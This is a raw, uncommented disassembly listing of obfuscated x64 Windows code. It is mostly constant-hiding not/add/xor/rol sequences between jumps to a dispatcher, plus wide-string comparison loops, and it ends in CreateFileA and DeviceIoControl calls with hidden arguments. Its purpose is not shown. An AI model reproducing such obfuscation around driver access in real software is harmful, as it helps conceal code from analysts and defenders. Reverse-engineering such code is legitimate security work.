not eax
add eax, 0xe59572ec
xor eax, 0xdbd3631b
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xc2292c68
xor eax, 0x99bc6816
rol eax, 0xc8
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x5cf2a5fb
pushf
not eax
add eax, 0xe95a249a
xor eax, 0xf4fb99a5
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x8f7dd34f
xor eax, 0xf5fdee71
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xbcfc8250
xor eax, 0x9d2f1466
rol eax, 0x64
popf
pushf
not eax
add eax, 0x91db5d24
xor eax, 0xd4b659db
rol eax, 0x51
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b16644
push rax
pushf
mov eax, 0x4fbfd655
pushf
not eax
add eax, 0xba46e148
xor eax, 0x9c45a2ba
rol eax, 2
popf
pushf
not eax
add eax, 0x85a3706d
xor eax, 0xaadc4f49
rol eax, 0xd1
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x872a38da
pushf
not eax
add eax, 0xc4fdaa1a
xor eax, 0xd050aa9b
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xed650410
xor eax, 0xf0c63e94
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xcdc4cc37
xor eax, 0x8349bec1
rol eax, 0xc1
popf
jmp 0x140b0ffd5
jmp 0x140b18947
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x4180], ax
jne 0x140b1677f
push rax
pushf
mov eax, 0xe00a20a9
pushf
not eax
add eax, 0xa451a321
xor eax, 0xf16e806c
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xd36d7d74
xor eax, 0xc5d36b0f
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xa157ab3e
xor eax, 0x8312e011
rol eax, 0xfb
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x43917942
pushf
not eax
add eax, 0xd9b9dc8e
xor eax, 0xf9e99e57
rol eax, 0xba
popf
pushf
not eax
add eax, 0x803051fa
xor eax, 0x99ee4a35
rol eax, 0x8f
popf
pushf
not eax
add eax, 0x8e28846f
xor eax, 0xab825afb
rol eax, 0x82
popf
pushf
not eax
add eax, 0x92d14be7
xor eax, 0xfc8f2254
rol eax, 0x14
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b16818
push rax
pushf
mov eax, 0xe33f2d1b
pushf
not eax
add eax, 0x87fc6cd5
xor eax, 0xc7d93418
rol eax, 0x11
popf
pushf
not eax
add eax, 0xdeca30e9
xor eax, 0xcf576a20
rol eax, 0x6c
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x273def3d
pushf
not eax
add eax, 0xd897e040
xor eax, 0x98f79ae3
rol eax, 9
popf
pushf
not eax
add eax, 0x9f3702fc
xor eax, 0xc25f40ed
rol eax, 1
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x4390], ax
jne 0x140b1692c
push rax
pushf
mov eax, 0xa23c57fc
pushf
not eax
add eax, 0xbc302699
xor eax, 0xe4ba471c
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xfd099529
xor eax, 0xa0592bb8
rol eax, 0x59
popf
pushf
not eax
add eax, 0xb3f954d5
xor eax, 0xaed78b87
rol eax, 0x6c
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x68179d2d
pushf
not eax
add eax, 0xcbdc8bdd
xor eax, 0xe7815629
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xf14047ef
xor eax, 0xbddd9b23
rol eax, 0x51
popf
pushf
not eax
add eax, 0x9a09e764
xor eax, 0xab7f7d5e
rol eax, 0x81
popf
jmp 0x140b0ffd5
mov rcx, rdi
nop dword [rax + rax]
push rax
pushf
mov eax, 0x620afd8
pushf
not eax
add eax, 0xcfb195e9
xor eax, 0x8c79c132
rol eax, 0xae
popf
pushf
not eax
add eax, 0xc3d18b19
xor eax, 0xa33ceda2
rol eax, 0xce
popf
pushf
not eax
add eax, 0xb1a9d929
xor eax, 0xac9aa097
rol eax, 0xfe
popf
jmp 0x140b0ffd5
jmp 0x140b18947
mov rcx, rdi
nop dword [rax + rax]
push rax
pushf
mov eax, 0x1d07602d
pushf
not eax
add eax, 0xcc9c3f43
xor eax, 0xdd5d35e7
rol eax, 0xae
popf
pushf
not eax
add eax, 0xd51d5062
xor eax, 0xa7c86a1d
rol eax, 0x91
popf
pushf
not eax
add eax, 0xfa4e526f
xor eax, 0xb3f65c5d
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xcd40c3d1
xor eax, 0x8c49f9c5
rol eax, 0x56
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b16d5a
push rax
pushf
mov eax, 0xf970265d
pushf
not eax
add eax, 0xd1861fa2
xor eax, 0xe4355cf9
rol eax, 0x91
popf
pushf
not eax
add eax, 0x975169d5
xor eax, 0x98ae5ccc
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xb5d60536
xor eax, 0x9fa085e8
rol eax, 0x69
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xca98c1aa
pushf
not eax
add eax, 0xcd4592dc
xor eax, 0xd2820b21
rol eax, 0x26
popf
pushf
not eax
add eax, 0xe7ccd7cc
xor eax, 0xe5aa7c45
rol eax, 0x2f
popf
pushf
not eax
add eax, 0x8229febd
xor eax, 0xd20bdeec
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xa4030ada
xor eax, 0xbf333e2a
rol eax, 0xc7
popf
jmp 0x140b0ffd5
jmp 0x140b18947
add rcx, 2
cmp rcx, 0x208
jl 0x140b16f67
push rax
pushf
mov eax, 0x506a1227
pushf
not eax
add eax, 0xd73db1a9
xor eax, 0xbed16e36
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xb2bf5405
xor eax, 0x9d50672f
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xbf0315b3
xor eax, 0xc6ac3fae
rol eax, 0x67
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xc01c6e9d
pushf
not eax
add eax, 0xe326e750
xor eax, 0xf1c9c7bf
rol eax, 0x99
popf
pushf
not eax
add eax, 0xb51b86c7
xor eax, 0xbfb5ff48
rol eax, 0x4a
popf
jmp 0x140b0ffd5
mov rcx, rdi
nop dword [rax + rax]
push rax
pushf
mov eax, 0x60933279
pushf
not eax
add eax, 0xffd1ffb2
xor eax, 0xafb24d1c
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xc628868e
xor eax, 0xa98309b0
rol eax, 0xea
popf
pushf
not eax
add eax, 0x8030ac6b
xor eax, 0xea85c53c
rol eax, 0x8d
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x49c0], ax
jne 0x140b1707c
push rax
pushf
mov eax, 0x10fba3f
pushf
not eax
add eax, 0xc92ac955
xor eax, 0x89ebbab1
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xef16a67b
xor eax, 0xaaa79b20
rol eax, 0x11
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xc6f52cbe
pushf
not eax
add eax, 0xf324b9de
xor eax, 0xacf9f538
rol eax, 0x17
popf
pushf
not eax
add eax, 0x8c393deb
xor eax, 0xb6272445
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xd1a2129f
xor eax, 0x9eb6443e
rol eax, 0x27
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b17102
push rax
pushf
mov eax, 0x2c838ccb
pushf
not eax
add eax, 0xead6f3cc
xor eax, 0x87e8507e
rol eax, 0xed
popf
pushf
not eax
add eax, 0xfc266644
xor eax, 0x953c8f0c
rol eax, 0x54
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x936b136f
pushf
not eax
add eax, 0x9fb9e931
xor eax, 0xa87d4a5f
rol eax, 0xfa
popf
pushf
not eax
add eax, 0x823b44c0
xor eax, 0xdf10cadd
rol eax, 0xf3
popf
pushf
not eax
add eax, 0x8d92a0cf
xor eax, 0xac53daf9
rol eax, 0x2d
popf
jmp 0x140b0ffd5
jmp 0x140b18947
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x4bd0], ax
jne 0x140b1723d
push rax
pushf
mov eax, 0x1128ee8d
pushf
not eax
add eax, 0xdbf34452
xor eax, 0xce61c45b
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xdbccbbdd
xor eax, 0x94a132f0
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xeaf6dc31
xor eax, 0xc7bee9f8
rol eax, 0x85
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x92a6f1d3
pushf
not eax
add eax, 0xba660dab
xor eax, 0xad6f23e5
rol eax, 0xb7
popf
pushf
not eax
add eax, 0x995b710b
xor eax, 0xa9a427f9
rol eax, 0xee
popf
pushf
not eax
add eax, 0xbfc40bc0
xor eax, 0xe50a4397
rol eax, 0x45
popf
pushf
not eax
add eax, 0xdb2c37ed
xor eax, 0xfca1bf52
rol eax, 0xf4
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b172fc
push rax
pushf
mov eax, 0x6a6ecd09
pushf
not eax
add eax, 0xd098ea07
xor eax, 0x92ec706e
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xe26e7ecc
xor eax, 0xc109678a
rol eax, 0x67
popf
pushf
not eax
add eax, 0xa660fa2b
xor eax, 0xaa38dd11
rol eax, 0x40
popf
pushf
not eax
add eax, 0x9ca0c22b
xor eax, 0xaa308c39
rol eax, 0x98
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xe46052d7
pushf
not eax
add eax, 0xa7526d08
xor eax, 0x8ab25fd4
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xa62ebe1e
xor eax, 0xb4c4759b
rol eax, 0xec
popf
pushf
not eax
add eax, 0x8f833e47
xor eax, 0xf58f4c39
rol eax, 0xb
popf
jmp 0x140b0ffd5
jmp 0x140b18947
add rcx, 2
cmp rcx, 0x208
jl 0x140b174e3
push rax
pushf
mov eax, 0xaa62242b
pushf
not eax
add eax, 0xce968caf
xor eax, 0xd881e735
rol eax, 0xf5
popf
pushf
not eax
add eax, 0x86a9944f
xor eax, 0x80695f36
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xfb35d692
xor eax, 0xdbfe013b
rol eax, 0x14
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x336736b8
pushf
not eax
add eax, 0xbcb96dc9
xor eax, 0x8f35d2df
rol eax, 0xea
popf
pushf
not eax
add eax, 0xe8190e9e
xor eax, 0x8a3aae82
rol eax, 2
popf
pushf
not eax
add eax, 0xd9642082
xor eax, 0xce7663e6
rol eax, 0x99
popf
jmp 0x140b0ffd5
jmp 0x140b18947
add rcx, 2
cmp rcx, 0x208
jl 0x140b176b7
push rax
pushf
mov eax, 0x4b98b5dd
pushf
not eax
add eax, 0xd8e0dba3
xor eax, 0xb523103c
rol eax, 0x91
popf
pushf
not eax
add eax, 0xb5a803d7
xor eax, 0xe914ed85
rol eax, 0x83
popf
pushf
not eax
add eax, 0x9340298e
xor eax, 0x8e3ee560
rol eax, 0x74
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x23c869be
pushf
not eax
add eax, 0xa94e82b0
xor eax, 0xc9c28453
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xc69238c3
xor eax, 0x8fde07cb
rol eax, 0x89
popf
pushf
not eax
add eax, 0xe3b9b586
xor eax, 0xcd666b8e
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xd89cee88
xor eax, 0xf17e7333
rol eax, 0x43
popf
jmp 0x140b0ffd5
jmp 0x140b18947
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x190], ax
jne 0x140b177f2
push rax
pushf
mov eax, 0xc4e578cf
pushf
not eax
add eax, 0x96dd28b9
xor eax, 0x932bdcea
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xf57d8ed0
xor eax, 0x8d220064
rol eax, 0xc4
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xad4569c8
pushf
not eax
add eax, 0x8f8d0dce
xor eax, 0xdef357ee
rol eax, 0x79
popf
pushf
not eax
add eax, 0xb8db6ea8
xor eax, 0xc428849e
rol eax, 0x21
popf
pushf
not eax
add eax, 0xf0ce5d0b
xor eax, 0xe4395c58
rol eax, 0xc3
popf
jmp 0x140b0ffd5
jmp 0x140b18947
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x5c50], ax
jne 0x140b1798d
push rax
pushf
mov eax, 0xae2019c1
pushf
not eax
add eax, 0xccc6a636
xor eax, 0xbc1ee50f
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xe6a35898
xor eax, 0xc64c4b68
rol eax, 0xc8
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xa207c858
pushf
not eax
add eax, 0x96b91bfa
xor eax, 0xd77300d2
rol eax, 0x59
popf
pushf
not eax
add eax, 0xd5dc8417
xor eax, 0xabf16cc6
rol eax, 0x6f
popf
pushf
not eax
add eax, 0x8d1d9e70
xor eax, 0xcd78f684
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x8acf700d
xor eax, 0x99ebc76a
rol eax, 0xe4
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b17a4c
push rax
pushf
mov eax, 0x2e80ecbd
pushf
not eax
add eax, 0xa9abee8f
xor eax, 0xacb6268c
rol eax, 0x99
popf
pushf
not eax
add eax, 0x90954316
xor eax, 0xf9afba0a
rol eax, 0x29
popf
pushf
not eax
add eax, 0xe4683ee3
xor eax, 0xbfeb5e19
rol eax, 0xc6
popf
pushf
not eax
add eax, 0x86d766fe
xor eax, 0xce8cc282
rol eax, 0x6e
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x6f2ba9c2
pushf
not eax
add eax, 0xb8b3ba73
xor eax, 0xc030f606
rol eax, 0x59
popf
pushf
not eax
add eax, 0xedba3842
xor eax, 0xd926c674
rol eax, 0xe9
popf
jmp 0x140b0ffd5
jmp 0x140b18947
mov rcx, rdi
nop dword [rax + rax]
push rax
pushf
mov eax, 0xc61a750e
pushf
not eax
add eax, 0x97667456
xor eax, 0xf2e9e0a1
rol eax, 0xee
popf
pushf
not eax
add eax, 0x9b3d33bd
xor eax, 0xcf43aad6
rol eax, 0x86
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x1a50], ax
jne 0x140b17b74
push rax
pushf
mov eax, 0x5f1ef436
pushf
not eax
add eax, 0xe7bfaf53
xor eax, 0x8c20bd57
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xae313ef5
xor eax, 0xe84b6954
rol eax, 0xe0
popf
pushf
not eax
add eax, 0x997ae481
xor eax, 0xb63e8636
rol eax, 0x39
popf
pushf
not eax
add eax, 0xd1ee39c7
xor eax, 0xbcf26db1
rol eax, 0xaf
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x561651b8
pushf
not eax
add eax, 0xaa9f8d4f
xor eax, 0xa849088f
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xd4b1463b
xor eax, 0xe1b5a9d3
rol eax, 0x55
popf
jmp 0x140b0ffd5
jmp 0x140b18947
mov rcx, rdi
nop dword [rax + rax]
push rax
pushf
mov eax, 0x48ca90c6
pushf
not eax
add eax, 0x93e56daf
xor eax, 0xb4c06339
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xf555b1d7
xor eax, 0xa26c0223
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xf6843fc7
xor eax, 0xb4d82c0f
rol eax, 0x71
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x5200], ax
jne 0x140b17d48
push rax
pushf
mov eax, 0x89674157
pushf
not eax
add eax, 0xd1e358f9
xor eax, 0x8c3e6eb2
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xf2c63765
xor eax, 0xcea85417
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xa60365f6
xor eax, 0xfa68ac55
rol eax, 0x7b
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xb0db3e9c
pushf
not eax
add eax, 0x99e2d236
xor eax, 0xa1ed1201
rol eax, 0x72
popf
pushf
not eax
add eax, 0xb4c91a23
xor eax, 0xf377e49d
rol eax, 0xd
popf
pushf
not eax
add eax, 0xb9aafd44
xor eax, 0xb2be51a1
rol eax, 0x8d
popf
jmp 0x140b0ffd5
jmp 0x140b18947
mov rcx, rdi
nop dword [rax + rax]
push rax
pushf
mov eax, 0x897b6890
pushf
not eax
add eax, 0xe0e69756
xor eax, 0xe69bec1a
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xbf59b5ba
xor eax, 0xbcff9b40
rol eax, 3
popf
pushf
not eax
add eax, 0x90593d97
xor eax, 0xc68659f2
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xe255edaa
xor eax, 0xe4a891f3
rol eax, 0xfa
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x5620], ax
jne 0x140b18103
push rax
pushf
mov eax, 0x804c437e
pushf
not eax
add eax, 0x9b2a2db0
xor eax, 0x8e36ecad
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x9a14d2a1
xor eax, 0xf3446fa2
rol eax, 0x89
popf
pushf
not eax
add eax, 0xb86e9fe1
xor eax, 0xdd3fd1f4
rol eax, 0x33
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xd0377030
pushf
not eax
add eax, 0xbdcfb949
xor eax, 0xa47876f9
rol eax, 0x16
popf
pushf
not eax
add eax, 0xe1bdae78
xor eax, 0xe886f929
rol eax, 0x50
popf
pushf
not eax
add eax, 0xe7a3a87d
xor eax, 0xa2548133
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xfbcd134d
xor eax, 0x9e807f6e
rol eax, 0x32
popf
jmp 0x140b0ffd5
mov rcx, rdi
nop dword [rax + rax]
push rax
pushf
mov eax, 0x67cd88da
pushf
not eax
add eax, 0xe959db70
xor eax, 0x8baaa8e3
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xe3600272
xor eax, 0xcfafb10b
rol eax, 0x42
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b1835d
push rax
pushf
mov eax, 0xd41b3f4f
pushf
not eax
add eax, 0xc079c172
xor eax, 0xe5d99f52
rol eax, 0x14
popf
pushf
not eax
add eax, 0xe69eaf52
xor eax, 0xb982c228
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xa9ad60c7
xor eax, 0xa7871b16
rol eax, 9
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xf85272df
pushf
not eax
add eax, 0xfd11c2de
xor eax, 0xc66f09b8
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xff7ff711
xor eax, 0xc9c95f7c
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xcbfa461a
xor eax, 0xb55562a5
rol eax, 0x15
popf
jmp 0x140b0ffd5
mov rcx, rdi
nop dword [rax + rax]
push rax
pushf
mov eax, 0xc34e4206
pushf
not eax
add eax, 0x9b8523d7
xor eax, 0xfd1c48b8
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xb55728de
xor eax, 0xda97cbcb
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xff463327
xor eax, 0xc968a81b
rol eax, 0x35
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x1e70], ax
jne 0x140b18472
push rax
pushf
mov eax, 0x4eb0e8ea
pushf
not eax
add eax, 0xea7cb145
xor eax, 0xcd74d3fa
rol eax, 0xe6
popf
pushf
not eax
add eax, 0x95b49dd1
xor eax, 0xe5ee85bb
rol eax, 0x96
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x7db84fbc
pushf
not eax
add eax, 0xb8df0e0d
xor eax, 0x89814ec2
rol eax, 0x27
popf
pushf
not eax
add eax, 0x836c83e3
xor eax, 0x8c48a02d
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xc2db7b70
xor eax, 0x95eaef28
rol eax, 0xea
popf
pushf
not eax
add eax, 0xfa9a03e8
xor eax, 0xc725e5b6
rol eax, 0xdb
popf
jmp 0x140b0ffd5
jmp 0x140b18947
mov rcx, rdi
nop word [rax + rax]
push rax
pushf
mov eax, 0x660a24fc
pushf
not eax
add eax, 0xff7b079c
xor eax, 0xe5fea633
rol eax, 0x68
popf
pushf
not eax
add eax, 0xd23da67c
xor eax, 0x81859499
rol eax, 0xe5
popf
pushf
not eax
add eax, 0x89403953
xor eax, 0xb9928c1d
rol eax, 0x21
popf
jmp 0x140b0ffd5
jmp 0x140b18947
mov rax, rdi
nop dword [rax + rax]
push rax
pushf
mov eax, 0x5c676d55
pushf
not eax
add eax, 0x9b395e44
xor eax, 0xc1cf1ad8
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xac4fbe0a
xor eax, 0xf33a2581
rol eax, 0x79
popf
pushf
not eax
add eax, 0xd283ac62
xor eax, 0xb7d13af2
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xf548ebe8
xor eax, 0xf56981a6
rol eax, 0xf
popf
jmp 0x140b0ffd5
movzx ecx, word [rsp + rax + 0x7c]
cmp word [rbp + rax + 0x5a40], cx
jne 0x140b18856
push rax
pushf
mov eax, 0xb5ef0ff9
pushf
not eax
add eax, 0xe8e56889
xor eax, 0x8e213075
rol eax, 0x29
popf
pushf
not eax
add eax, 0xe7df8e32
xor eax, 0x8f2cd8dd
rol eax, 0xa1
popf
pushf
not eax
add eax, 0x9f2c3c9b
xor eax, 0xc3990907
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xacd55e48
xor eax, 0x9666c019
rol eax, 0x33
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x65b40f8b
pushf
not eax
add eax, 0x8d0cc0bd
xor eax, 0xa16e6b69
rol eax, 0xb7
popf
pushf
not eax
add eax, 0x8de6f95e
xor eax, 0xd42c7961
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xf8fd25a5
xor eax, 0x8b99e480
rol eax, 0xf8
popf
jmp 0x140b0ffd5
add rax, 2
cmp rax, 0x208
jl 0x140b188ee
push rax
pushf
mov eax, 0x6a648b77
pushf
not eax
add eax, 0x8e5e8373
xor eax, 0xaa7dcad9
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xbfead8be
xor eax, 0xd70ae301
rol eax, 0xed
popf
pushf
not eax
add eax, 0xd0a309e8
xor eax, 0xebb500ac
rol eax, 0xe1
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x53d32413
pushf
not eax
add eax, 0x86fcba8f
xor eax, 0x930eeca1
rol eax, 0x74
popf
pushf
not eax
add eax, 0x9c173ee0
xor eax, 0x80fa3746
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x98e834bf
xor eax, 0xbb99045b
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xa3c85918
xor eax, 0xafc2e8f0
rol eax, 0x6a
popf
jmp 0x140b0ffd5
mov eax, dword [rsp + 0x58]
lea rcx, [0x19d78441b]
pushf
sub rcx, 0x5d2186cb
popf
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0xd0391c3c
pushf
not edx
add edx, 0xd8926eff
xor edx, 0x996c8d85
rol edx, 0x23
popf
pushf
not edx
add edx, 0xa14253f1
xor edx, 0xfe2a8a32
rol edx, 0x72
popf
pushf
not edx
add edx, 0xf6fb6670
xor edx, 0xa8dfbe08
rol edx, 0xb7
popf
mov dword [rsp + 0x20], 3
mov dword [rsp + 0x48], eax
jmp 0x140b189c1
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140b18a07
push rax
pushf
mov eax, 0xcb274fc7
pushf
not eax
add eax, 0x81c5bd59
xor eax, 0x8e073e0c
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xa77f56d8
xor eax, 0xf50a7473
rol eax, 0x67
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x5f556b2a
pushf
not eax
add eax, 0x9cdf2f94
xor eax, 0xa93b59ac
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xb9eadf3b
xor eax, 0xd0548b82
rol eax, 0xe8
popf
jmp 0x140b0ffd5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x182bb6475]
pushf
sub rcx, 0x4264a6fd
popf
call fcn.140b05bdb
push rax
pushf
mov eax, 0x4f77d4f
pushf
not eax
add eax, 0x8aacf212
xor eax, 0xc493608b
rol eax, 0x57
popf
pushf
not eax
add eax, 0xc9105d78
xor eax, 0xa45a0a6d
rol eax, 0x32
popf
jmp 0x140b0ffd5
mov qword [rsp + 0x38], rdi
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x48]
mov dword [rsp + 0x28], edi
mov r9d, 0x622d876f
pushf
not r9d
add r9d, 0xcd0d77bf
xor r9d, 0xce09469a
rol r9d, 0xe8
popf
pushf
not r9d
add r9d, 0xb30f5239
xor r9d, 0xdc597c94
rol r9d, 0x32
popf
mov edx, 0xccaae5ef
pushf
not edx
add edx, 0xebfd2f23
xor edx, 0xb523e37d
rol edx, 5
popf
pushf
not edx
add edx, 0xcf69669c
xor edx, 0x8b273cc6
rol edx, 0xcb
popf
mov qword [rsp + 0x20], rdi
mov rcx, rbx
mov dword [rsp + 0x40], edi
jmp 0x140b18b19
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
push rax
pushf
mov eax, 0x7bc204c8
pushf
not eax
add eax, 0xde7fb9a0
xor eax, 0xb3c215a7
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xcc3fefbf
xor eax, 0xf2ae4d52
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xd42f520a
xor eax, 0xdaba7f5e
rol eax, 0x53
popf
jmp 0x140b0ffd5